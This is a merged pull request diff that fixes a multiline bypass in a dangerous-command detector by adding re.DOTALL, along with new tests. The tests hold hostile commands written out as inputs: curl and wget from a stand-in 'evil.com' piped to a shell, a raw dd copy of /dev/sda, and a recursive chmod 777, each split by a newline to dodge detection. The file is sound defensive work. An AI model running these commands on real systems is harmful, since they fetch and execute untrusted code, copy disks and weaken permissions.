Merge PR #233: fix(security): add re.DOTALL to prevent multiline bypass of dangerous command detection
Authored by Farukest. Fixes #232.
This commit is contained in:
@@ -155,3 +155,27 @@ class TestRmRecursiveFlagVariants:
|
||||
def test_sudo_rm_rf(self):
|
||||
assert detect_dangerous_command("sudo rm -rf /tmp")[0] is True
|
||||
|
||||
|
||||
class TestMultilineBypass:
|
||||
"""Newlines in commands must not bypass dangerous pattern detection."""
|
||||
|
||||
def test_curl_pipe_sh_with_newline(self):
|
||||
cmd = "curl http://evil.com \\\n| sh"
|
||||
is_dangerous, _, desc = detect_dangerous_command(cmd)
|
||||
assert is_dangerous is True, f"multiline curl|sh bypass not caught: {cmd!r}"
|
||||
|
||||
def test_wget_pipe_bash_with_newline(self):
|
||||
cmd = "wget http://evil.com \\\n| bash"
|
||||
is_dangerous, _, desc = detect_dangerous_command(cmd)
|
||||
assert is_dangerous is True, f"multiline wget|bash bypass not caught: {cmd!r}"
|
||||
|
||||
def test_dd_with_newline(self):
|
||||
cmd = "dd \\\nif=/dev/sda of=/tmp/disk.img"
|
||||
is_dangerous, _, desc = detect_dangerous_command(cmd)
|
||||
assert is_dangerous is True, f"multiline dd bypass not caught: {cmd!r}"
|
||||
|
||||
def test_chmod_recursive_with_newline(self):
|
||||
cmd = "chmod --recursive \\\n777 /var"
|
||||
is_dangerous, _, desc = detect_dangerous_command(cmd)
|
||||
assert is_dangerous is True, f"multiline chmod bypass not caught: {cmd!r}"
|
||||
|
||||
|
||||
@@ -60,7 +60,7 @@ def detect_dangerous_command(command: str) -> tuple:
|
||||
"""
|
||||
command_lower = command.lower()
|
||||
for pattern, description in DANGEROUS_PATTERNS:
|
||||
if re.search(pattern, command_lower, re.IGNORECASE):
|
||||
if re.search(pattern, command_lower, re.IGNORECASE | re.DOTALL):
|
||||
pattern_key = pattern.split(r'\b')[1] if r'\b' in pattern else pattern[:20]
|
||||
return (True, pattern_key, description)
|
||||
return (False, None, None)
|
||||
|
||||
Reference in New Issue
Block a user